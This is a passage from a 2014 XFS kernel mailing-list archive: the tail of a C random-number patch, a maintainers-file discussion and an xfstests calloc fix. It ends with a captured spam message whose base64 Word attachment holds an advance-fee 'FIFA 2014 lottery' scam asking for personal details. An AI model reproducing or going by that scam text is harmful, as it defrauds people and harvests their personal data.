(128-i) - */ - -#define MASK ((int32_t) 593970775) -/* or in hex, 23674657 */ - -#define SCALE ((double) 1.0 / (1024.0 * 1024.0 * 1024.0 * 2.0)) -/* i.e. 2 to power -31 */ - -static int32_t mt [128] = { - 902906369, - 2030498053, - -473499623, - 1640834941, - 723406961, - 1993558325, - -257162999, - -1627724755, - 913952737, - 278845029, - 1327502073, - -1261253155, - 981676113, - -1785280363, - 1700077033, - 366908557, - -1514479167, - -682799163, - 141955545, - -830150595, - 317871153, - 1542036469, - -946413879, - -1950779155, - 985397153, - 626515237, - 530871481, - 783087261, - -1512358895, - 1031357269, - -2007710807, - -1652747955, - -1867214463, - 928251525, - 1243003801, - -2132510467, - 1874683889, - -717013323, - 218254473, - -1628774995, - -2064896159, - 69678053, - 281568889, - -2104168611, - -165128239, - 1536495125, - -39650967, - 546594317, - -725987007, - 1392966981, - 1044706649, - 687331773, - -2051306575, - 1544302965, - -758494647, - -1243934099, - -75073759, - 293132965, - -1935153095, - 118929437, - 807830417, - -1416222507, - -1550074071, - -84903219, - 1355292929, - -380482555, - -1818444007, - -204797315, - 170442609, - -1636797387, - 868931593, - -623503571, - 1711722209, - 381210981, - -161547783, - -272740131, - -1450066095, - 2116588437, - 1100682473, - 358442893, - -1529216831, - 2116152005, - -776333095, - 1265240893, - -482278607, - 1067190005, - 333444553, - 86502381, - 753481377, - 39000101, - 1779014585, - 219658653, - -920253679, - 2029538901, - 1207761577, - -1515772851, - -236195711, - 442620293, - 423166617, - -1763648515, - -398436623, - -1749358155, - -538598519, - -652439379, - 430550625, - -1481396507, - 2093206905, - -1934691747, - -962631983, - 1454463253, - -1877118871, - -291917555, - -1711673279, - 201201733, - -474645415, - -96764739, - -1587365199, - 1945705589, - 1303896393, - 1744831853, - 381957665, - 2135332261, - -55996615, - -1190135011, - 1790562961, - -1493191723, - 475559465, - 69069 - }; - -double -_random (int32_t is [2]) -{ - int32_t it, leh, nit; - - it = is [0]; - leh = is [1]; - if (it <= 0) - it = (it + it) ^ MASK; - else - it = it + it; - nit = it - 1; -/* to ensure all-ones pattern omitted */ - leh = leh * mt[nit & 127] + nit; - is [0] = it; is [1] = leh; - if (leh < 0) leh = ~leh; - return (SCALE * ((int32_t) (leh | 1))); -} - - - -int32_t -_irandm (int32_t is [2]) -{ - int32_t it, leh, nit; - - it = is [0]; - leh = is [1]; - if (it <= 0) - it = (it + it) ^ MASK; - else - it = it + it; - nit = it - 1; -/* to ensure all-ones pattern omitted */ - leh = leh * mt[nit & 127] + nit; - is [0] = it; is [1] = leh; - if (leh < 0) leh = ~leh; - return (leh); -} - -/* - * make this a drop in replacement for random and srandom - * - * XXX not thread safe I guess. - */ - -static int32_t saved_seed[2]; - -long random(void) -{ - return _irandm(saved_seed); -} - -void srandom(unsigned seed) -{ - saved_seed[0]=seed; - saved_seed[1]=0; - _irandm(saved_seed); -} - -- 1.8.3.1 From bpm@sgi.com Mon Jan 6 14:16:38 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=RP_MATCHES_RCVD autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id EA86A7F37 for ; Mon, 6 Jan 2014 14:16:38 -0600 (CST) Received: from whiskey.americas.sgi.com (whiskey.americas.sgi.com [128.162.233.19]) by relay2.corp.sgi.com (Postfix) with ESMTP id A5D9C30407F; Mon, 6 Jan 2014 12:16:35 -0800 (PST) Received: by whiskey.americas.sgi.com (Postfix, from userid 4600) id 527DA4266DC; Mon, 6 Jan 2014 14:16:35 -0600 (CST) Date: Mon, 6 Jan 2014 14:16:35 -0600 From: Ben Myers To: Christoph Hellwig Cc: Dave Chinner , Zhi Yong Wu , Zhi Yong Wu , xfs@oss.sgi.com Subject: Re: [PATCH] xfs: remove the incorrect entry in the MAINTAINER file Message-ID: <20140106201635.GB1935@sgi.com> References: <1386935393-23559-1-git-send-email-zwu.kernel@gmail.com> <20131213163131.GC20803@infradead.org> <20131213202747.GL1935@sgi.com> <20131213220110.GW10988@dastard> <20131216152053.GB12360@infradead.org> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20131216152053.GB12360@infradead.org> User-Agent: Mutt/1.5.20 (2009-06-14) On Mon, Dec 16, 2013 at 07:20:53AM -0800, Christoph Hellwig wrote: > On Sat, Dec 14, 2013 at 09:01:10AM +1100, Dave Chinner wrote: > > Well, I stand by what I wrote in that thread. There is absolutely > > nothing wrong with having xfs@oss.sgi.com listed as a maintainer; > > different and unusual doesn't mean it is wrong. > > I think life is much better if XFS follows the usual convention. We > already drill into submitters heads that they should send patches and > questions to the list for the whole kernel, and the angry behaviour of > many maintainers when they get personal mail helps with that, too. > > Given that we already have maintainers names listed, and the list in the > proper field I also can't see what this should buy us. Either way is fine with me. From jeffm@suse.com Mon Jan 6 14:52:55 2014 Return-Path: X-Spam-Checker-Version: SpamAssassin 3.3.1 (2010-03-16) on oss.sgi.com X-Spam-Level: X-Spam-Status: No, score=0.0 required=5.0 tests=none autolearn=ham version=3.3.1 X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay2.corp.sgi.com [137.38.102.29]) by oss.sgi.com (Postfix) with ESMTP id AC2207F37 for ; Mon, 6 Jan 2014 14:52:55 -0600 (CST) Received: from cuda.sgi.com (cuda3.sgi.com [192.48.176.15]) by relay2.corp.sgi.com (Postfix) with ESMTP id 97F0F30407A for ; Mon, 6 Jan 2014 12:52:55 -0800 (PST) X-ASG-Debug-ID: 1389041573-04cb6c537cc41ff0001-NocioJ Received: from mx2.suse.de (cantor2.suse.de [195.135.220.15]) by cuda.sgi.com with ESMTP id ILXQDni6Br04WUsP (version=TLSv1 cipher=AES256-SHA bits=256 verify=NO) for ; Mon, 06 Jan 2014 12:52:54 -0800 (PST) X-Barracuda-Envelope-From: jeffm@suse.com X-Barracuda-Apparent-Source-IP: 195.135.220.15 Received: from relay1.suse.de (charybdis-ext.suse.de [195.135.220.254]) by mx2.suse.de (Postfix) with ESMTP id 17BC3AC48; Mon, 6 Jan 2014 20:52:53 +0000 (UTC) Message-ID: <52CB1727.3050109@suse.com> Date: Mon, 06 Jan 2014 15:50:47 -0500 From: Jeff Mahoney User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.2.0 MIME-Version: 1.0 To: xfs@oss.sgi.com CC: dchinner@redhat.com Subject: [PATCH] xfstests: aio-stress, use calloc for thread_info array X-Enigmail-Version: 1.6 X-ASG-Orig-Subj: [PATCH] xfstests: aio-stress, use calloc for thread_info array Content-Type: text/plain; charset=ISO-8859-1 Content-Transfer-Encoding: 7bit X-Barracuda-Connect: cantor2.suse.de[195.135.220.15] X-Barracuda-Start-Time: 1389041574 X-Barracuda-Encrypted: AES256-SHA X-Barracuda-URL: http://192.48.176.15:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: 0.00 X-Barracuda-Spam-Status: No, SCORE=0.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 tests= X-Barracuda-Spam-Report: Code version 3.2, rules version 3.2.2.143803 Rule breakdown below pts rule name description ---- ---------------------- -------------------------------------------------- The thread_info array is assumed to be initialized to 0s, but that causes a segfault when MALLOC_PERTURB_ is set. Signed-off-by: Jeff Mahoney --- ltp/aio-stress.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) --- a/ltp/aio-stress.c +++ b/ltp/aio-stress.c @@ -1413,9 +1413,9 @@ int main(int ac, char **av) num_threads); } - t = malloc(num_threads * sizeof(*t)); + t = calloc(num_threads, sizeof(*t)); if (!t) { - perror("malloc"); + perror("calloc"); exit(1); } global_thread_info = t; -- Jeff Mahoney SUSE Labs From rt.h65@hotmail.com Mon Jan 6 14:59:45 2014 Return-Path: X-Original-To: xfs@oss.sgi.com Delivered-To: xfs@oss.sgi.com Received: from relay.sgi.com (relay3.corp.sgi.com [198.149.34.15]) by oss.sgi.com (Postfix) with ESMTP id BEE047F37 for ; Mon, 6 Jan 2014 14:59:44 -0600 (CST) Received: from cuda.sgi.com (cuda1.sgi.com [192.48.157.11]) by relay3.corp.sgi.com (Postfix) with ESMTP id 4E9A4AC002 for ; Mon, 6 Jan 2014 12:59:41 -0800 (PST) X-ASG-Debug-ID: 1389041973-04bdf00fe0532b10001-NocioJ Received: from snt0-omc2-s24.snt0.hotmail.com (snt0-omc2-s24.snt0.hotmail.com [65.55.90.99]) by cuda.sgi.com with ESMTP id ogSZ7nxEKOhCbfFZ for ; Mon, 06 Jan 2014 12:59:33 -0800 (PST) X-Barracuda-Envelope-From: rt.h65@hotmail.com X-Barracuda-Apparent-Source-IP: 65.55.90.99 Received: from SNT150-W86 ([65.55.90.72]) by snt0-omc2-s24.snt0.hotmail.com with Microsoft SMTPSVC(6.0.3790.4675); Mon, 6 Jan 2014 12:59:32 -0800 X-TMN: [mJmwPPj9SIVMw1uyYaSCDXuLBC6PZLJr] X-Originating-Email: [rt.h65@hotmail.com] Message-ID: Content-Type: multipart/mixed; boundary="_8a329258-3db0-4eab-9ec7-13378f55baeb_" Reply-To: From: BRAZIL 2014 FIFA Subject: GOOD NEWS TODAY!! FROM FIFA 2014 LOTTERY Date: Mon, 6 Jan 2014 20:59:32 +0000 X-ASG-Orig-Subj: GOOD NEWS TODAY!! FROM FIFA 2014 LOTTERY Importance: Normal In-Reply-To: References: ,,,,,,,,,,,,,,,,, MIME-Version: 1.0 X-OriginalArrivalTime: 06 Jan 2014 20:59:32.0575 (UTC) FILETIME=[32C74EF0:01CF0B22] X-Barracuda-Connect: snt0-omc2-s24.snt0.hotmail.com[65.55.90.99] X-Barracuda-Start-Time: 1389041973 X-Barracuda-URL: http://192.48.157.11:80/cgi-mod/mark.cgi X-Virus-Scanned: by bsmtpd at sgi.com X-Barracuda-BRTS-Status: 1 X-Barracuda-Spam-Score: -1001.00 X-Barracuda-Spam-Status: No, SCORE=-1001.00 using per-user scores of TAG_LEVEL=1000.0 QUARANTINE_LEVEL=1000.0 KILL_LEVEL=2.7 To: undisclosed-recipients:; --_8a329258-3db0-4eab-9ec7-13378f55baeb_ Content-Type: multipart/alternative; boundary="_67d8cf8e-8897-44a8-88dc-75ab4ccfd738_" --_67d8cf8e-8897-44a8-88dc-75ab4ccfd738_ Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable = = = --_67d8cf8e-8897-44a8-88dc-75ab4ccfd738_ Content-Type: text/html; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable

<= div dir=3D"ltr">
=
=
=
=
= --_67d8cf8e-8897-44a8-88dc-75ab4ccfd738_-- --_8a329258-3db0-4eab-9ec7-13378f55baeb_ Content-Type: application/msword Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="FIFA 2014.doc" 0M8R4KGxGuEAAAAAAAAAAAAAAAAAAAAAPgADAP7/CQAGAAAAAAAAAAAAAAAKAAAAnQQAAAAAAAAA EAAAnwQAAAEAAAD+////AAAAAJMEAACUBAAAlQQAAJYEAACXBAAAmAQAAJkEAACaBAAAmwQAAJwE AAD///////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// //////////////////////////////////////////////////////////////////////////// ///////////////////////////////////////////////////////////////////////////s pcEAcWAJBAAA+BK/AAAAAAAAEAAAAAAABgAAtBMAAA4AYmpianFQcVAAAAAAAAAAAAAAAAAAAAAA AAAJBBYAzvIBABM6AQATOgEAtAsAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD//w8AAAAA AAAAAAD//w8AAAAAAAAAAAD//w8AAAAAAAAAAAAAAAAAAAAAAKQAAAAAANwDAAAAAAAA3AMAANwD AAAAAAAA3AMAAAAAAADcAwAAAAAAANwDAAAAAAAA3AMAABQAAAAAAAAAAAAAAPADAAAAAAAAWAsA AAAAAABYCwAAAAAAAFgLAAAAAAAAWAsAACwAAACECwAAFAAAAPADAAAAAAAAmhcAALYAAACkCwAA AAAAAKQLAAAAAAAApAsAAAAAAACkCwAAAAAAAKQLAAAAAAAAPxAAAAAAAAA/EAAAAAAAAD8QAAAA AAAAGRcAAAIAAAAbFwAAAAAAABsXAAAAAAAAGxcAAAAAAAAbFwAAAAAAABsXAAAAAAAAGxcAACQA AABQGAAAaAIAALgaAAC0AAAAPxcAABUAAAAAAAAAAAAAAAAAAAAAAAAA3AMAAAAAAADxFAAAAAAA AAAAAAAAAAAAAAAAAAAAAADhDwAAXgAAAD8QAAAAAAAA8RQAAAAAAADxFAAAAAAAAD8XAAAAAAAA AAAAAAAAAADcAwAAAAAAANwDAAAAAAAApAsAAAAAAAAAAAAAAAAAAKQLAAA9BAAAVBcAABYAAADN FQAAAAAAAM0VAAAAAAAAzRUAAAAAAADxFAAAFgAAANwDAAAAAAAApAsAAAAAAADcAwAAAAAAAKQL AAAAAAAAGRcAAAAAAAAAAAAAAAAAAM0VAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAA8RQAAAAAAAAZFwAAAAAAAAAAAAAAAAAAzRUAAAAAAAAAAAAA AAAAAM0VAAAAAAAA3AMAAAAAAADcAwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAzRUAAAAAAACkCwAAAAAAAJgLAAAMAAAAkECaYqb8 zgEAAAAAAAAAAFgLAAAAAAAABxUAABYAAADNFQAAAAAAAAAAAAAAAAAA1RYAAEQAAABqFwAAMAAA AJoXAAAAAAAAzRUAAAAAAABsGwAAAAAAAB0VAACaAAAAbBsAAAAAAADNFQAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAGwbAAAAAAAAAAAAAAAAAADcAwAAAAAAAM0VAAAIAQAAPxAAAAIBAABBEQAAuAAAAM0V AAAAAAAA+REAAJQAAACNEgAAZAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAPxAA AAAAAAA/EAAAAAAAAD8QAAAAAAAAPxcAAAAAAAA/FwAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAtxUAABYAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD8QAAAA AAAAPxAAAAAAAAA/EAAAAAAAAJoXAAAAAAAA8RQAAAAAAADxFAAAAAAAAPEUAAAAAAAA8RQAAAAA AAAAAAAAAAAAAPADAAAAAAAA8AMAAAAAAADwAwAA5AQAANQIAACEAgAA8AMAAAAAAADwAwAAAAAA APADAAAAAAAA1AgAAAAAAADwAwAAAAAAAPADAAAAAAAA8AMAAAAAAADcAwAAAAAAANwDAAAAAAAA 3AMAAAAAAADcAwAAAAAAANwDAAAAAAAA3AMAAAAAAAD/////AAAAAAIADAEAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgICEJS QVpJTCBUTyBIT1NUIENISUVMIElOIEZJRkEgDUNPTkZFREVSQVRJT05TIENVUCBXQVJNLVVQIA1G SUZBIDIwMTQgTWljcm9zb2Z0IE9ubGluZSBQcm9tb3Rpb25zICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgDU1pY3Jvc29mdCBMb25kb24gKENhcmRpbmFsIFBs YWNlKSAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIA0xMDAg VmljdG9yaWEgU3RyZWV0IExvbmRvbiBTVzFFIDVKTA1SRUY6IEZJRkEvTU9QLzIwMTMtMjAxNCAN T2ZmaWNlIE5vIFRlbDogKyA0NCA3OTMgNzQxIDcwODcgb3IgRmF4OiArIDQ0IDcwNCAzMDggMzM1 ICANDVRISVMgSVMgVE8gUkVNSU5EIFlPVSBBR0FJTiBUSEFUIFlPVSBIQVZFIFdPTiBBIFRJQ0tF VCBUTyBHTyBUTyBCcmF6aWwgMjAxNCBGSUZBIFdvcmxkIEN1cCwgeW91IGhhdmUgd29uIFNVTSBv ZiAoT05FIE1JTExJT04gQlJJVElTSCBQT1VORFMgU1RFUkxJTkcpIGJ5IHlvdXIgRS1tYWlsIEFk ZGVycy4gV2Ugd2lzaCB0byBjb25ncmF0dWxhdGUgeW91IG9uY2UgYWdhaW4gb24gdGhpcyBub3Rl LCBmb3IgYmVpbmcgdGhlIGxlZ2FsIGJlbmVmaWNpYXJ5L1VzZXIgb2YgdGhpcyBzZWxlY3RlZCBl LW1haWwgYWRkcmVzcywgU2VsZWN0ZWQgZm9yIHRoZSBGaWZlIDIwMTQgTWljcm9zb2Z0IG9ubGlu ZSBwcm9tb3Rpb25hbCBBd2FyZHMuIFRoZXJlIHdhcyBhIGNvbXB1dGVyIGJhbGxvdCB0aGF0IHdh cyBvcmdhbml6ZWQgYnkgdGhlIEZJRkEgYW5kIE1JQ1JPU09GVCBORVRXT1JLLg0NTWljcm9zb2Z0 IE9ubGluZSBOZXR3b3JrIGFuZCB3YXMgc3BvbnNvcmVkIGJ5IEZJRkEgYXQgSm9oYW5uZXNidXJn LCBTb3V0aCBBZnJpY2EuIFRoaXMgcHJvbW90aW9uIHdhcyBoZWxkIGluIFNvdXRoIEFmcmljYSBi ZWNhdXNlIG9mIHRoZSBzdWNjZXNzZnVsIEZJRkEgMjAxMCBXT1JMRCBDVVAgdGhhdCB3YXMgaG9z dGVkIGluIFNvdXRoIEFmcmljYSAoMjAxMCkgYW5kIHRoZSBtYWluIGFpbSBvZiB0aGlzIGF3YXJk LCBpcyB0byBwcm9tb3RlIHRoZSB1cCBjb21pbmcgRklGQSAyMDE0IFdPUkxEIENVUCB0aGF0IHdp bGwgYmUgaG9zdCBpbiBCcmF6aWwuDQ1GSVZFICg1KSBlbWFpbCBhZGRyZXNzZXMgd2FzIGZpbmFs bHkgcGlja2VkIG91dCBmcm9tIGFtb25nIHRoZSBUb3RhbCAoMSwwMDAsMDAwLjAwKSBlbWFpbCBh ZGRyZXNzZXMsIGFuZCBvdXQgb2YgdGhvc2UgKDY1KSBlbWFpbCBhZGRyZXNzZXMsIHlvdXIgRW1h aWwgYWRkcmVzcyBpcyBhbW9uZyB0aGUgd2lubmluZyBlLW1haWwgYWRkcmVzcyBvbiB0aGUgd2lu bmluZyBQb3QsIHdoaWNoIHdhcyBhdHRhY2hlZCBGb3IgeW91ciBTZWN1cml0eSBjb2RlIEZJRkEv KyBRVTM0MDA1IGFuZCBUaWNrZXQgUGluIENvZGUgTnVtYmVyOiAxMjE0IHRvIFdpbm5pbmcgTnVt YmVyczogUkVGIEZJRkEvTU9QLzIwMTMtMTQgMjEgMzAgMzkgNDAgNDcgYW5kIEJvbnVzIE51bWJl ciBpcyAoMzEpIGFuZCBXaW5uaW5nIEFtb3VudCB3b24gaXMgKE9ORSBNSUxMSU9OIEJSSVRJU0gg UE9VTkRTIFNURVJMSU5HKQ0NTm93IHdlIHdhbnQgdG8ga25vdyBob3cgeW91IHdvdWxkIGxpa2Ug dG8gcmVjZWl2ZSB5b3VyIDIwMTQgQnJhemlsIEZJRkEgQVdBUkQgZWl0aGVyIGJ5IEJBTksgVE8g QkFOSyBUUkFOU0ZFUlMgT1IgQlkgQ0hFUVVFLiAgIA0gICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIFlPVVIgVElDS0VUIFBJTiBD T0RFIE5POiBYWCAxMjE0Lg0NIFlvdSBhcmUgcmVxdWVzdGVkIHRvIGNvbnRhY3QgeW91ciBDTEFJ TSBBR0VOVCBpbiBTb3V0aCBBZnJpY2EgYW5kIHNlbmQgeW91ciBwYXltZW50IGRldGFpbHMgdG8g aGltOw0oQ09OVEFDVCBZT1VSIENMQUlNIEFHRU5UKSAgTkFNRTogTVIgSkFNRVMgVEFXQS4NQ29u dGFjdCBFbWFpbDogamFtZXN0YXdhMjAxNEBnbWFpbC5jb20NWW91IGFyZSBhZHZpc2VkIHRvIHNl bmQgdGhlIGZvbGxvd2luZyBpbmZvcm1hdGlvbiB0byB5b3VyIHRvIGhpbSB0byByZWxlYXNlIG9m IHlvdXIgd2lubmluZyBGdW5kIHRvIHlvdS4NKDEpIE5BTUU6Li4uLi4uLi4uLi4uLi4uLi4uLi4u Li4gKDIpIEJPTlVTIE5VTUJFUi4uLi4uLi4uLi4uLi4uLg0oMykgQUdFOi4uLi4uLi4uLi4uLi4u Li4uLi4uLi4uLi4uICAoNCkgV0lOTklORyBOVU1CRVJTOi4uLi4uLiANKDUpIFNFWCA6Li4uLi4u Li4uLi4uLi4uLi4uLi4uLi4uLi4uICg2KSBTRUNVUklUWSBDT0RFOi4uLi4uLi4uLi4uLi4NKDcp IEFERFJFU1M6Li4uLi4uLi4uLi4uLi4uLiAgKDgpIEFNT1VOVCBXT046Li4uLi4uLi4uLi4uLi4u Li4gICAgICAgICAgDSg5KSBFTUFJTCA6Li4uLi4uLi4uLi4uLi4uLi4uLi4uLiAoMTApIFRFTCBB TkQgRkFYIE5VTUJFUjoNKDExKU9DQ1VQQVRJT04gOoWFLigxMikgQ09NUEFOWTouLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4NKDEzKVNUQVRFL0NJVFk6hYWFLigxNClDT1VOVFJZOi4uLi4uLi4uLi4u Li4uLi4uLi4uLi4uLi4NKDE1KSBOQVRJT05BTElUWTqFLi4gKDE2KVRJQ0tFVCBQSU4gQ09ERTqF hS4uDSgxNylBTU9VTlQgV09OIDouLi4uLi4uKCAxOCkgTUFSSVRBTCBTVEFUVVM6hYUNKDIwKU9u Y2UgeW91ciBhZ2VudCBhY2tub3dsZWRnZXMgcmVjZWlwdCBvZiB0aGlzIHJlcXVpcmVkIGRldGFp bCwgdHJhbnNmZXIgd291bGQgY29tbWVuY2UuIA0NQ29uZ3JhdHVsYXRpb25zIE9uY2UgYWdhaW4h DQEBAQ1Zb3VycyBpbiBzZXJ2aWNlLCAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAg ICAgICAgICAgICAgICAgICAgICAgICAgRElSRUNUT1JTIEFORCBDRU8gMjAxNCBPRiBGSUZBIFdP UkxEIENVUCBJTiBCUkFaSUwNTWFuYWdlciBNcnMuIFJvc2UgU21pdGggQ29udGFjdCBFbWFpbCBt cnNyb3Nlc21pdGgyMEBnbWFpbC5jb20NDQ0NAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAABCAAAAggA AAMIAAAgCAAAIQgAADwIAAA9CAAAKgkAADIJAABVCQAAVwkAAFsJAABiCQAAZQkAAJYJAACXCQAA 6M2yoZOhgqGToXShZlhHOgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGBVozToTABZo ZBsXADUIgUIqAXBoAAAAAAAgFWi3I2oAFmhkGxcANQiBQioLQ0oUAGFKFABwaAAzAAAAGhZozToT ADUIgUIqAUNKFgBhShYAcGgAAAAAABoWaDIA6gA1CIFCKgFDShYAYUoWAHBoAAAAAAAaFmjxJdgA NQiBQioLQ0oUAGFKFABwaAAzAAAAIBVotyNqABZotyNqADUIgUIqC0NKEgBhShIAcGgAMwAAABoW aDBBDwA1CIFCKgtDShQAYUoUAHBoADMAAAAgFWi3I2oAFmi3I2oANQiBQioLQ0oUAGFKFABwaAAz AAAANANqAAAAABVo5k+oABZotyNqADUIgUIqC0NKEgBVCAFhShIAbUgABG5IAARwaAAzAAB1CAEA NANqAAAAABVo5k+oABZoBHPqADUIgUIqC0NKEgBVCAFhShIAbUgABG5IAARwaAAzAAB1CAEALgNq AAAAABZoMEEPADUIgUIqC0NKEgBVCAFhShIAbUgABG5IAARwaAAzAAB1CAEQAAYAACEIAAA9CAAA zAgAAB4JAABCCQAAWwkAAJcJAACYCQAAUgsAAFMLAACPDAAAkAwAAFIOAABTDgAA0w4AADYPAAA3 DwAAnA8AAM0PAAD0DwAAXRAAAJ4QAADeEAAAIxEAAGwRAAD2AAAAAAAAAAAAAAAA9gAAAAAAAAAA AAAAAPYAAAAAAAAAAAAAAAD2AAAAAAAAAAAAAAAA7QAAAAAAAAAAAAAAAPYAAAAAAAAAAAAAAADk AAAAAAAAAAAAAAAA9gAAAAAAAAAAAAAAANsAAAAAAAAAAAAAAAD2AAAAAAAAAAAAAAAA9gAAAAAA AAAAAAAAAPYAAAAAAAAAAAAAAAD2AAAAAAAAAAAAAAAA9gAAAAAAAAAAAAAAAPYAAAAAAAAAAAAA AAD2AAAAAAAAAAAAAAAA9gAAAAAAAAAAAAAAAPYAAAAAAAAAAAAAAAD2AAAAAAAAAAAAAAAA9gAA AAAAAAAAAAAAAPYAAAAAAAAAAAAAAAD2AAAAAAAAAAAAAAAA9gAAAAAAAAAAAAAAAPYAAAAAAAAA AAAAAAD2AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAA+EYPpehGD6Z2RkGxcAAAgAAA+EYPpehGD6 Z2TNOhMAAAgAAA+EYPpehGD6Z2QwQQ8AAAgAAA+EYPpehGD6Z2S3I2oAABkABgAAtBMAAP0AAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQEAAEBAZcJAACYCQAAyAkAAM8J AADoCQAA6QkAAPMJAAAHCgAACAoAAAkKAAAtCgAALgoAADYLAAA/CwAAUQsAAFILAACQDAAAmAwA AM8MAADjDAAABg0AAAoNAACgDQAA797M3rveu62cioW7rXRju1K7QbtSuwAAAAAAAAAAAAAAAAAA AAAgFWhmAnEAFmi3I2oANQiBQioBQ0oWAGFKFgBwaAAAAAAAIBVo8SXYABZotyNqADUIgUIqDUNK FgBhShYAcGiAAAAAACAVaGQbFwAWaLcjagA1CIFCKgtDShQAYUoUAHBoADMAAAAgFWhYEeoAFmi3 I2oANQiBQioBQ0oWAGFKFgBwaAAAAAAACRZoHjqHADUIgSMVaB46hwAWaB46hwA1CIFCKg1DShIA XAiBYUoSAHBogAAAACAVaB46hwAWaB46hwA1CIFCKg1DShIAYUoSAHBogAAAAAAaFmgNf0UANQiB 